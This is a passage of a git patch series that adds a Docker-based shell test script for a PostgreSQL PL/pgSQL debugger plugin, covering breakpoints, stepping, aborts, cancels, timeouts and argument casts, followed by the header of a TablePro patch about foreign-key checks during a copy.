+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+\echo ==source
+SELECT "public".pldbg_get_source(:s, '$ORDER_TOTAL'::pg_catalog.oid);
+\echo ==stack
+SELECT level, targetname, func, linenumber, args FROM "public".pldbg_get_stack(:s);
+\echo ==variables
+SELECT name, varclass, linenumber, isunique, isconst, isnotnull, pg_catalog.format_type(dtype, NULL), value FROM "public".pldbg_get_variables(:s);
+SELECT pg_sleep(2.5);
+\echo ==after-pause
+SELECT level, func, linenumber FROM "public".pldbg_get_stack(:s);
+\echo ==set
+SELECT "public".pldbg_set_breakpoint(:s, '$ORDER_TOTAL'::pg_catalog.oid, 12);
+\echo ==drop
+SELECT "public".pldbg_drop_breakpoint(:s, '$ORDER_TOTAL'::pg_catalog.oid, 77);
+\echo ==continue
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+\echo ==step-over
+SELECT func, linenumber, targetname FROM "public".pldbg_step_over(:s);
+\echo ==step-into
+SELECT func, linenumber, targetname FROM "public".pldbg_step_into(:s);
+\echo ==stack-2
+SELECT level, targetname, func, linenumber, args FROM "public".pldbg_get_stack(:s);
+\echo ==frame-1
+SELECT func, linenumber, targetname FROM "public".pldbg_select_frame(:s, 1);
+SELECT name, varclass, linenumber, isunique, isconst, isnotnull, pg_catalog.format_type(dtype, NULL), value FROM "public".pldbg_get_variables(:s);
+\echo ==run-out
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+\echo ==end
+SQL
+start_target full dev
+if await_port full; then
+    pass "the target's PLDBGBREAK notice arrives while its call is still running (backend $PORT)"
+    run_proxy full dev
+    wait "$TARGET"
+    proxy="$WORK/full.proxy.log"
+    expect "$proxy" "$ORDER_TOTAL|9|order_total(integer,numeric)" "the first stop is reported as line 9 for source line 8"
+    source_line=$(awk '/^==source$/ { inside = 1; line = 0; next } /^==stack$/ { inside = 0 } inside { line++; if (line == 8) print }' "$proxy")
+    if [ "$source_line" = "    FOR i IN 1..qty LOOP" ]; then
+        pass "pldbg_get_source line 8 is the FOR loop, the first executable statement"
+    else
+        fail "pldbg_get_source line 8 is \"$source_line\""
+    fi
+    expect "$proxy" "0|order_total(integer,numeric)|$ORDER_TOTAL|8|qty=3, unit_price=10" "a stack frame's line is the source line"
+    expect "$proxy" "total|L|4|t|f|f|numeric|NULL" "a NULL variable arrives as the text NULL"
+    expect_after "$proxy" "==after-pause" "0|$ORDER_TOTAL|8" \
+        "the target survives a pause longer than the server's 2 s transaction_timeout"
+    expect "$proxy" "qty|A|0|t|f|f|integer|3" "an argument is class A with its bound value"
+    expect_after "$proxy" "==set" "t" "pldbg_set_breakpoint answers t"
+    expect_after "$proxy" "==drop" "f" "pldbg_drop_breakpoint answers f for a line with no breakpoint"
+    expect_after "$proxy" "==continue" "$ORDER_TOTAL|13|order_total(integer,numeric)" \
+        "a breakpoint set on source line 12 stops reported as 13"
+    expect_after "$proxy" "==step-over" "$ORDER_TOTAL|14|order_total(integer,numeric)" "step over moves one statement"
+    expect_after "$proxy" "==step-into" "$ADD_TAX|6|add_tax(numeric,numeric)" "step into enters the callee"
+    expect "$proxy" "1|order_total(integer,numeric)|$ORDER_TOTAL|13|qty=3, unit_price=10" \
+        "the caller's frame keeps its source line"
+    expect "$proxy" "subtotal|L|3|t|f|f|numeric|30" "select_frame 1 reads the caller's variables"
+    expect "$proxy" "debugger connection terminated" "the proxy learns the end from 08006"
+    expect "$WORK/full.target.log" "33.0" "the target's call returns the routine's result"
+    [ "$(audit)" = $((before + 1)) ] && pass "a run that finishes commits its changes" \
+        || fail "a run that finishes commits its changes"
+else
+    fail "no PLDBGBREAK notice"
+    cat "$WORK/full.target.log"
+fi
+
+# --- Stop while paused: pldbg_abort_target -------------------------------------------------------------------
+
+echo "== stop while paused"
+before=$(audit)
+cat > "$WORK/abort.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$ORDER_TOTAL'::pg_catalog.oid);
+SELECT * FROM "public"."order_total"(\$1::integer, \$2::numeric) \bind 2 5 \g
+SQL
+cat > "$WORK/abort.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT "public".pldbg_set_breakpoint(:s, '$ORDER_TOTAL'::pg_catalog.oid, 13);
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+\echo ==abort
+SELECT * FROM "public".pldbg_abort_target(:s);
+\echo ==after
+SELECT level, targetname, func, linenumber, args FROM "public".pldbg_get_stack(:s);
+SQL
+start_target abort dev
+if await_port abort; then
+    run_proxy abort dev
+    wait "$TARGET"
+    expect_after "$WORK/abort.proxy.log" "==abort" "t" "pldbg_abort_target answers t"
+    expect "$WORK/abort.target.log" "canceling statement due to user request" "the target ends with 57014"
+    expect "$WORK/abort.target.log" "CONTEXT:  PL/pgSQL function order_total(integer,numeric) line 13 at assignment" \
+        "the target's error keeps the line it stopped on"
+    [ "$(audit)" = "$before" ] && pass "Stop rolls back the INSERT the routine already ran" \
+        || fail "Stop rolls back the INSERT the routine already ran"
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- Stop while running: cancel the target, never the proxy -------------------------------------------------
+
+echo "== stop while running"
+before=$(audit)
+cat > "$WORK/running.target.sql" <<SQL
+$TARGET_SETUP
+SELECT 'TARGET ' || pg_backend_pid();
+SELECT "public".pldbg_oid_debug('$SLOW_FN'::pg_catalog.oid);
+SELECT * FROM "public"."slow_fn"() \bind \g
+SQL
+cat > "$WORK/running.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+\echo ==continue
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+\echo ==after
+SELECT 'proxy usable';
+SQL
+start_target running dev
+if await_port running; then
+    target_pid=$(grep -o 'TARGET [0-9]*' "$WORK/running.target.log" | cut -d' ' -f2)
+    run_proxy running dev &
+    proxy_job=$!
+    sleep 1.5
+    sql postgres postgres -c "SELECT pg_cancel_backend($target_pid)" > /dev/null
+    wait "$proxy_job"
+    wait "$TARGET"
+    expect "$WORK/running.target.log" "CONTEXT:  SQL statement \"SELECT pg_sleep(4)\"" "a cancel ends the running target"
+    expect "$WORK/running.proxy.log" "debugger connection terminated" "the waiting proxy call ends with 08006"
+    expect "$WORK/running.proxy.log" "proxy usable" "the proxy session stays usable"
+    [ "$(audit)" = "$before" ] && pass "the cancelled run rolls back" || fail "the cancelled run rolls back"
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- A target whose proxy disappeared ------------------------------------------------------------------------
+
+echo "== proxy lost while paused"
+before=$(audit)
+cat > "$WORK/lost.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$ORDER_TOTAL'::pg_catalog.oid);
+SELECT * FROM "public"."order_total"(\$1::integer, \$2::numeric) \bind 2 5 \g
+SQL
+cat > "$WORK/lost.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT 'PROXY ' || pg_backend_pid();
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+\echo ==paused
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT pg_sleep(30);
+SQL
+cat > "$WORK/lost.rescue.sql" <<'SQL'
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+\echo ==abort
+SELECT * FROM "public".pldbg_abort_target(:s);
+SQL
+start_target lost dev
+if await_port lost; then
+    run_proxy lost dev &
+    proxy_job=$!
+    for _ in $(seq 1 50); do
+        grep -F "==paused" "$WORK/lost.proxy.log" > /dev/null 2>&1 && break
+        sleep 0.1
+    done
+    sleep 0.5
+    proxy_pid=$(grep -o 'PROXY [0-9]*' "$WORK/lost.proxy.log" | cut -d' ' -f2)
+    sql postgres postgres -c "SELECT pg_terminate_backend($proxy_pid)" > /dev/null
+    wait "$proxy_job"
+    notices=0
+    for _ in $(seq 1 30); do
+        notices=$(grep -c "PLDBGBREAK:$PORT\$" "$WORK/lost.target.log")
+        [ "$notices" = 2 ] && break
+        sleep 0.1
+    done
+    [ "$notices" = 2 ] && pass "the target waits again under the same backend number" \
+        || fail "the target waits again under the same backend number ($notices notices)"
+    sql postgres postgres -c "SELECT pg_cancel_backend(pid) FROM pg_stat_activity WHERE query LIKE '%order_total%' AND state = 'active' AND pid <> pg_backend_pid()" \
+        > /dev/null
+    sleep 0.5
+    if kill -0 "$TARGET" 2> /dev/null; then
+        pass "a cancel does not end a target waiting for its proxy"
+    else
+        fail "a cancel does not end a target waiting for its proxy"
+    fi
+    docker exec -i "$CONTAINER" psql -X -At -U dev -d postgres -v port="$PORT" < "$WORK/lost.rescue.sql" \
+        > "$WORK/lost.rescue.log" 2>&1
+    wait "$TARGET"
+    expect_after "$WORK/lost.rescue.log" "==abort" "t" "a fresh session attaches to that number and aborts"
+    expect "$WORK/lost.target.log" "canceling statement due to user request" "the abandoned target ends"
+    [ "$(audit)" = "$before" ] && pass "the abandoned run rolls back" || fail "the abandoned run rolls back"
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- A target whose proxy dies while it runs a statement: a cancel then ends it, and nothing does once it pauses ---
+
+echo "== proxy lost while running"
+before=$(audit)
+cat > "$WORK/lostrun.target.sql" <<SQL
+$TARGET_SETUP
+SELECT 'TARGET ' || pg_backend_pid();
+SELECT "public".pldbg_oid_debug('$SLOW_FN'::pg_catalog.oid);
+SELECT * FROM "public"."slow_fn"() \bind \g
+SQL
+cat > "$WORK/lostrun.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT 'PROXY ' || pg_backend_pid();
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT func, linenumber, targetname FROM "public".pldbg_step_over(:s);
+\echo ==sleeping
+SELECT func, linenumber, targetname FROM "public".pldbg_step_over(:s);
+SQL
+start_target lostrun dev
+if await_port lostrun; then
+    target_pid=$(grep -o 'TARGET [0-9]*' "$WORK/lostrun.target.log" | cut -d' ' -f2)
+    run_proxy lostrun dev &
+    proxy_job=$!
+    for _ in $(seq 1 50); do
+        grep -F "==sleeping" "$WORK/lostrun.proxy.log" > /dev/null 2>&1 && break
+        sleep 0.1
+    done
+    sleep 0.5
+    proxy_pid=$(grep -o 'PROXY [0-9]*' "$WORK/lostrun.proxy.log" | cut -d' ' -f2)
+    sql postgres postgres -c "SELECT pg_terminate_backend($proxy_pid)" > /dev/null
+    wait "$proxy_job"
+    # As the owner, the way the plugin's rescue session sends it.
+    sql dev postgres -c "SELECT pg_catalog.pg_cancel_backend($target_pid)" > /dev/null
+    for _ in $(seq 1 20); do
+        kill -0 "$TARGET" 2> /dev/null || break
+        sleep 0.1
+    done
+    if kill -0 "$TARGET" 2> /dev/null; then
+        fail "a cancel sent while it runs ends a target whose proxy is gone"
+        sleep 4
+        docker exec -i "$CONTAINER" psql -X -At -U dev -d postgres -v port="$PORT" < "$WORK/lost.rescue.sql" > /dev/null 2>&1
+    else
+        pass "a cancel sent while it runs ends a target whose proxy is gone"
+    fi
+    wait "$TARGET"
+    expect "$WORK/lostrun.target.log" "CONTEXT:  SQL statement \"SELECT pg_sleep(4)\"" \
+        "the cancel lands in the statement the target was running"
+    [ "$(audit)" = "$before" ] && pass "that run rolls back" || fail "that run rolls back"
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- A target whose own client went away while it waited: its backend stays, and an abort ends it ---------------
+
+echo "== target client lost while paused"
+before=$(audit)
+cat > "$WORK/client.target.sql" <<SQL
+$TARGET_SETUP
+SELECT 'TARGET ' || pg_backend_pid();
+SELECT "public".pldbg_oid_debug('$SLOW_FN'::pg_catalog.oid);
+SELECT * FROM "public"."slow_fn"() \bind \g
+SQL
+cat > "$WORK/client.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+\echo ==paused
+SELECT pg_sleep(2);
+\echo ==abort
+SELECT * FROM "public".pldbg_abort_target(:s);
+SQL
+start_target client dev
+if await_port client; then
+    target_pid=$(grep -o 'TARGET [0-9]*' "$WORK/client.target.log" | cut -d' ' -f2)
+    # The only psql in the container until the proxy starts.
+    client_pid=$(docker exec "$CONTAINER" sh -c 'for d in /proc/[0-9]*; do [ "$(cat "$d/comm" 2> /dev/null)" = psql ] && echo "${d#/proc/}"; done')
+    run_proxy client dev &
+    proxy_job=$!
+    for _ in $(seq 1 50); do
+        grep -F "==paused" "$WORK/client.proxy.log" > /dev/null 2>&1 && break
+        sleep 0.1
+    done
+    docker exec "$CONTAINER" kill -9 "$client_pid"
+    sleep 1
+    # Counted as the owner, the way the plugin confirms a backend whose connection dropped has ended.
+    alive=$(sql dev postgres -c "SELECT pg_catalog.count(*) FROM pg_catalog.pg_stat_activity WHERE pid = $target_pid")
+    [ "$alive" = 1 ] && pass "a paused target's backend outlives its client, and its owner sees it" \
+        || fail "a paused target's backend outlives its client, and its owner sees it ($alive)"
+    wait "$proxy_job"
+    expect_after "$WORK/client.proxy.log" "==abort" "t" "the proxy's abort reaches a target whose client is gone"
+    gone=1
+    for _ in $(seq 1 30); do
+        gone=$(sql dev postgres -c "SELECT pg_catalog.count(*) FROM pg_catalog.pg_stat_activity WHERE pid = $target_pid")
+        [ "$gone" = 0 ] && break
+        sleep 0.1
+    done
+    [ "$gone" = 0 ] && pass "the aborted target's backend ends" || fail "the aborted target's backend ends"
+    [ "$(audit)" = "$before" ] && pass "that run rolls back" || fail "that run rolls back"
+    wait "$TARGET" 2> /dev/null
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- A procedure, a named argument after a default, and its notices -----------------------------------------
+
+echo "== procedure"
+cat > "$WORK/procedure.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$LOG_NOTE'::pg_catalog.oid);
+CALL "public"."log_note"(\$1::text, "label" => \$2::text) \bind hi -x \g
+SQL
+cat > "$WORK/procedure.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT name, varclass, linenumber, isunique, isconst, isnotnull, pg_catalog.format_type(dtype, NULL), value FROM "public".pldbg_get_variables(:s);
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+SQL
+start_target procedure dev
+if await_port procedure; then
+    run_proxy procedure dev
+    wait "$TARGET"
+    expect "$WORK/procedure.proxy.log" "label|A|0|t|f|f|text|-x" "a named argument after a defaulted one binds"
+    expect "$WORK/procedure.proxy.log" "n|A|0|t|f|f|integer|NULL" "the skipped INOUT parameter takes its default"
+    expect "$WORK/procedure.target.log" "NOTICE:  rows now" "RAISE NOTICE reaches the target session"
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- A transaction startup commands left open ----------------------------------------------------------------
+
+echo "== startup transaction"
+# run_to_end <name> <first lines>: the call runs to the end of order_total(1, 1) after the given lines.
+run_to_end() {
+    cat > "$WORK/$1.target.sql" <<SQL
+$2
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$ORDER_TOTAL'::pg_catalog.oid);
+SELECT * FROM "public"."order_total"(\$1::integer, \$2::numeric) \bind 1 1 \g
+\echo ==after-call
+SQL
+    cat > "$WORK/$1.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+SQL
+    start_target "$1" dev
+    if await_port "$1"; then
+        run_proxy "$1" dev
+        wait "$TARGET"
+    else
+        fail "no PLDBGBREAK notice"
+    fi
+}
+before=$(audit)
+run_to_end open-transaction "BEGIN;"
+expect "$WORK/open-transaction.target.log" "1.1" "the routine runs inside a transaction a startup BEGIN left open"
+[ "$(audit)" = "$before" ] && pass "and its changes are not committed when it finishes, so the plugin rolls that transaction back first" \
+    || fail "and its changes are not committed when it finishes, so the plugin rolls that transaction back first"
+before=$(audit)
+run_to_end rolled-back $'BEGIN;\nROLLBACK;'
+[ "$(audit)" = $((before + 1)) ] && pass "after the ROLLBACK the finished run commits as usual" \
+    || fail "after the ROLLBACK the finished run commits as usual"
+
+# --- What a routine's own settings and argument types do -------------------------------------------------------
+
+echo "== routine settings and argument types"
+sql dev postgres -v oid="$QUIET" < "$WORK/routine.sql" > "$WORK/routine.quiet.log" 2>&1
+expect "$WORK/routine.quiet.log" "|{client_min_messages=warning}" "the catalog read returns a routine's own settings"
+cat > "$WORK/quiet.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$QUIET'::pg_catalog.oid);
+SELECT * FROM "public"."quiet"(\$1::integer) \bind 1 \g
+SQL
+start_target quiet dev
+sleep 2
+if grep -F "PLDBGBREAK" "$WORK/quiet.target.log" > /dev/null; then
+    fail "a routine's SET client_min_messages = warning hides PLDBGBREAK, so the plugin refuses such a routine"
+else
+    pass "a routine's SET client_min_messages = warning hides PLDBGBREAK, so the plugin refuses such a routine"
+fi
+# The target now waits in accept() for a proxy it never named; it goes when the container does.
+kill "$TARGET" 2> /dev/null
+cat > "$WORK/short.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$SHORT_TXN'::pg_catalog.oid);
+SELECT * FROM "public"."short_txn"(\$1::integer) \bind 1 \g
+SQL
+cat > "$WORK/short.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT pg_sleep(3);
+SELECT func, linenumber, targetname FROM "public".pldbg_step_over(:s);
+SQL
+start_target short dev
+if await_port short; then
+    run_proxy short dev
+    wait "$TARGET"
+    expect "$WORK/short.target.log" "terminating connection due to transaction timeout" \
+        "a routine's SET transaction_timeout ends it while it waits at a breakpoint, so the plugin refuses such a routine"
+else
+    fail "no PLDBGBREAK notice"
+fi
+docker exec -i "$CONTAINER" psql -X -At -U dev -d postgres > "$WORK/codes.log" 2>&1 <<'SQL'
+SELECT * FROM "public"."codes"($1::"pg_catalog"."bpchar", $2::"pg_catalog"."bit", $3::"pg_catalog"."_bpchar") \bind ABC 101 {XY,ZW} \g
+SELECT * FROM "public"."codes"($1::character, $2::bit, $3::character[]) \bind ABC 101 {XY,ZW} \g
+SELECT * FROM "public"."pick"($1::"pg_catalog"."bit") \bind 101 \g
+SELECT * FROM "public"."pick"($1::"pg_catalog"."varbit") \bind 101 \g
+SELECT * FROM "public"."pick"($1::"pg_catalog"."bpchar") \bind ABCD \g
+SELECT * FROM "public"."pick"($1::"pg_catalog"."_bit") \bind {101,11} \g
+SELECT * FROM "public"."pick"($1::"app"."Code3") \bind AB \g
+\echo ==unlimited-spelling
+SELECT * FROM "public"."pick"($1::pg_catalog.varbit) \bind 101 \g
+SQL
+expect "$WORK/codes.log" "ABC/101/{XY,ZW}" "arguments cast to their quoted pg_type names keep their length"
+expect "$WORK/codes.log" "A/1/{X,Z}" "a cast to character or bit, as format_type spells them, cuts them to one"
+for result in "bit:101" "varbit:101" "char:ABCD" "bit[]:{101,11}" "domain:AB"; do
+    if grep -qxF -- "$result" "$WORK/codes.log"; then
+        pass "the quoted pg_type name calls exactly that overload and keeps the value ($result)"
+    else
+        fail "the quoted pg_type name calls exactly that overload and keeps the value ($result)"
+        sed 's/^/    /' "$WORK/codes.log"
+    fi
+done
+expect_after "$WORK/codes.log" "==unlimited-spelling" "varbit:101" \
+    "varbit is not a way to keep a bit(n) argument: it calls the bit varying overload"
+
+# --- Defaults spelled out -------------------------------------------------------------------------------------
+
+echo "== defaults"
+DFLT_INT=$(sql postgres postgres -c "SELECT 'public.dflt(integer)'::regprocedure::oid")
+DNEXT=$(sql postgres postgres -c "SELECT 'public.dnext(integer,bigint)'::regprocedure::oid")
+sql dev postgres -v oid="$DFLT_INT" < "$WORK/routine.sql" > "$WORK/routine.dflt.log" 2>&1
+expect "$WORK/routine.dflt.log" '|{"\"pg_catalog\".\"int4\""}|{1}' "the catalog read returns each argument's default expression"
+sql dev postgres -v oid="$DNEXT" < "$WORK/routine.sql" > "$WORK/routine.dnext.log" 2>&1
+expect "$WORK/routine.dnext.log" "|{NULL,nextval('ds'::regclass)}" "an argument without a default reads as NULL beside one with"
+docker exec -i "$CONTAINER" psql -X -At -U dev -d postgres > "$WORK/defaults.log" 2>&1 <<'SQL'
+SELECT * FROM "public"."dflt"() \bind \g
+\echo ==explicit
+SELECT * FROM "public"."dflt"((1)::"pg_catalog"."int4") \bind \g
+SELECT * FROM "public"."dflt"(('x, y'::text)::"pg_catalog"."text") \bind \g
+SELECT * FROM "public"."dnext"($1::"pg_catalog"."int4", (nextval('ds'::regclass))::"pg_catalog"."int8") \bind 7 \g
+SELECT last_value::text || '/' || is_called::text FROM ds;
+SELECT * FROM "public"."dvar"($1::"pg_catalog"."int4", VARIADIC ('{}'::integer[])::"pg_catalog"."_int4") \bind 3 \g
+SQL
+expect "$WORK/defaults.log" "is not unique" "leaving out defaults that tell overloads apart makes the call ambiguous"
+for result in "int:1" "text:x, y" "7/1" "1/true" "3:{}"; do
+    if grep -qxF -- "$result" "$WORK/defaults.log"; then
+        pass "a spelled-out default calls the selected overload and evaluates once ($result)"
+    else
+        fail "a spelled-out default calls the selected overload and evaluates once ($result)"
+        sed 's/^/    /' "$WORK/defaults.log"
+    fi
+done
+
+# --- The proxy's two 08006 errors -----------------------------------------------------------------------------
+
+echo "== proxy interrupted while it waits"
+cat > "$WORK/interrupted.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$TWO_STOPS'::pg_catalog.oid);
+SELECT * FROM "public"."two_stops"() \bind \g
+SQL
+cat > "$WORK/interrupted.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT 'PROXY ' || pg_backend_pid();
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT "public".pldbg_set_breakpoint(:s, '$TWO_STOPS'::pg_catalog.oid, 6);
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+\echo ==abort
+SELECT * FROM "public".pldbg_abort_target(:s);
+SELECT pg_sleep(4);
+SQL
+start_target interrupted dev
+if await_port interrupted; then
+    run_proxy interrupted dev &
+    proxy_job=$!
+    sleep 1
+    proxy_pid=$(grep -o 'PROXY [0-9]*' "$WORK/interrupted.proxy.log" | cut -d' ' -f2)
+    sql postgres postgres -c "SELECT pg_cancel_backend($proxy_pid)" > /dev/null
+    wait "$proxy_job"
+    wait "$TARGET"
+    expect "$WORK/interrupted.proxy.log" "select() failed waiting for target" \
+        "a signal to the waiting proxy gives 08006 select() failed, not the target's end"
+    expect "$WORK/interrupted.target.log" "CONTEXT:  PL/pgSQL function two_stops() line 6 at assignment" \
+        "the target still paused at its breakpoint, and an abort on the same proxy, kept connected, ended it there"
+else
+    fail "no PLDBGBREAK notice"
+fi
+# No cancel this time: the server's transaction_timeout (2s here) interrupts a longer wait although the session's is 0.
+cp "$WORK/interrupted.proxy.sql" "$WORK/timeout.proxy.sql"
+cp "$WORK/interrupted.target.sql" "$WORK/timeout.target.sql"
+start_target timeout dev
+if await_port timeout; then
+    run_proxy timeout dev
+    wait "$TARGET"
+    expect "$WORK/timeout.proxy.log" "select() failed waiting for target" \
+        "on PostgreSQL 17 a server transaction_timeout interrupts a proxy wait that outlasts it, so the plugin ends such a run"
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+echo "== a routine that returns"
+cat > "$WORK/returns.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$ORDER_TOTAL'::pg_catalog.oid);
+SELECT * FROM "public"."order_total"(\$1::integer, \$2::numeric) \bind 1 1 \g
+SELECT 'CALL-DONE ' || extract(epoch FROM clock_timestamp());
+SELECT pg_sleep(1.5);
+SQL
+cat > "$WORK/returns.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+SELECT func, linenumber, targetname FROM "public".pldbg_wait_for_breakpoint(:s);
+SELECT func, linenumber, targetname FROM "public".pldbg_continue(:s);
+SELECT 'PROXY-DONE ' || extract(epoch FROM clock_timestamp());
+SQL
+start_target returns dev
+if await_port returns; then
+    run_proxy returns dev
+    wait "$TARGET"
+    call_done=$(grep -o 'CALL-DONE [0-9.]*' "$WORK/returns.target.log" | cut -d' ' -f2)
+    proxy_done=$(grep -o 'PROXY-DONE [0-9.]*' "$WORK/returns.proxy.log" | cut -d' ' -f2)
+    if [ -n "$call_done" ] && [ -n "$proxy_done" ] && awk -v a="$call_done" -v b="$proxy_done" 'BEGIN { exit !(b - a > 1.2) }'; then
+        pass "the proxy hears a routine returned only when the target's session ends, so the plugin watches the target's call"
+    else
+        fail "the proxy hears a routine returned only when the target's session ends ($call_done, $proxy_done)"
+    fi
+else
+    fail "no PLDBGBREAK notice"
+fi
+
+# --- What prepareDebug and startDebug map ---------------------------------------------------------------------
+
+echo "== refusals"
+sql other postgres -c "\set VERBOSITY verbose" -c "SELECT \"public\".pldbg_oid_debug('$ORDER_TOTAL'::pg_catalog.oid)" \
+    > "$WORK/refuse.owner.log" 2>&1
+expect "$WORK/refuse.owner.log" "42501: must be owner or superuser to create a breakpoint" \
+    "a non-owner is refused with 42501"
+sql dev noext -c "\set VERBOSITY verbose" -c "SELECT \"public\".pldbg_oid_debug('$G'::pg_catalog.oid)" \
+    > "$WORK/refuse.extension.log" 2>&1
+expect "$WORK/refuse.extension.log" "42883: function public.pldbg_oid_debug(oid) does not exist" \
+    "a database without the extension answers 42883"
+
+echo
+if [ "$FAILURES" = 0 ]; then
+    echo "All pldbgapi checks passed."
+else
+    echo "$FAILURES check(s) failed."
+    exit 1
+fi

From 86651d74336f10439ea3fa2601d62df89165a3ab Mon Sep 17 00:00:00 2001
From: Andrea Lombardi <lombardi.nd@gmail.com>
Date: Tue, 27 Oct 2026 19:55:33 +0100
Subject: [PATCH 11/44] fix(copy): defer foreign key checks to the commit for a
 whole copy (#3859)

Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 .../SQLiteSessionScopeTests.swift             |  62 ++
 .../CloudflareD1Plugin.swift                  |   2 +
 .../CloudflareD1PluginDriver.swift            |  11 -
 .../LibSQLPluginDriver.swift                  |  19 +-
 .../MySQLPluginDriver+SessionScope.swift      |   3 +-
 .../MySQLSessionScopePlan.swift               |   4 +
 .../MySQLSessionScopeTests.swift              |  18 +-
 .../PostgreSQLPluginDriver+SessionScope.swift |   3 +
 .../PostgreSQLPluginDriver.swift              |  10 +-
 .../PostgreSQLSessionScopeSQLTests.swift      |  22 +
 .../SQLiteDriverPlugin/SQLitePlugin.swift     |  10 +
 .../SQLiteSessionScopeTests.swift             |  96 +++
 .../PluginDatabaseDriver.swift                |   2 +
 .../PluginSessionScope.swift                  |   4 +
 .../SQLiteSessionScope.swift                  |  80 ++
 .../Core/Compare/CompareMetadataService.swift |  32 +-
 .../Core/Compare/CompareRunner+Data.swift     |  20 +-
 .../TablePro/Core/Compare/CompareRunner.swift |  87 ++-
 .../Core/DataWrite/DataWriteExecutor.swift    |  27 +
 .../Core/ObjectCopy/ObjectCopyPlan.swift      |  42 +-
 .../ObjectCopyPlanner+SourceDefinitions.swift |   6 +-
 .../Core/ObjectCopy/ObjectCopyPlanner.swift   | 180 ++++-
 .../Core/ObjectCopy/ObjectCopyRowCopier.swift |  57 +-
 .../Core/ObjectCopy/ObjectCopyRunner.swift    | 407 ++++++----
 .../ObjectCopy/ObjectCopyTableDraft.swift     |  10 +
 ...ginMetadataRegistry+RegistryDefaults.swift |   2 +-
 ...ginSessionTransactionState+Execution.swift |  12 +
 .../TablePro/Resources/Localizable.xcstrings  |   7 +
 .../ObjectCopy/CopyObjectsConfigureView.swift |  14 +
 .../TableProMobile/Localizable.xcstrings      |   4 +
 .../SchemaSyncScriptBuilderTests.swift        | 166 ++++
 .../DataWrite/DataWriteExecutorTests.swift    |  59 +-
 .../ObjectCopyDDLSessionTests.swift           |  17 +-
 .../Core/ObjectCopy/ObjectCopyPlanTests.swift |   5 +
 .../ObjectCopyPlannerOrderingTests.swift      | 227 +++++-
 .../ObjectCopyPlannerStructureReadTests.swift | 109 +++
 .../ObjectCopySessionScopeTests.swift         |  10 +-
 .../ObjectCopyTransactionTests.swift          | 712 ++++++++++++++++--
 apple/changelog.d/3859.added.md               |   1 +
 apple/changelog.d/3859.changed.md             |   1 +
 apple/changelog.d/3859.fixed.1.md             |   1 +
 apple/changelog.d/3859.fixed.2.md             |   1 +
 apple/changelog.d/3859.fixed.3.md             |   1 +
 apple/changelog.d/3859.fixed.4.md             |   1 +
 apple/changelog.d/3859.fixed.5.md             |   1 +
 apple/changelog.d/3859.fixed.6.md             |   1 +
 apple/changelog.d/3859.fixed.md               |   1 +
 47 files changed, 2196 insertions(+), 371 deletions(-)
 create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/SQLiteSessionScopeTests.swift
 create mode 100644 apple/Plugins/SQLiteDriverTests/SQLiteSessionScopeTests.swift
 create mode 100644 apple/Plugins/TableProPluginKit/SQLiteSessionScope.swift
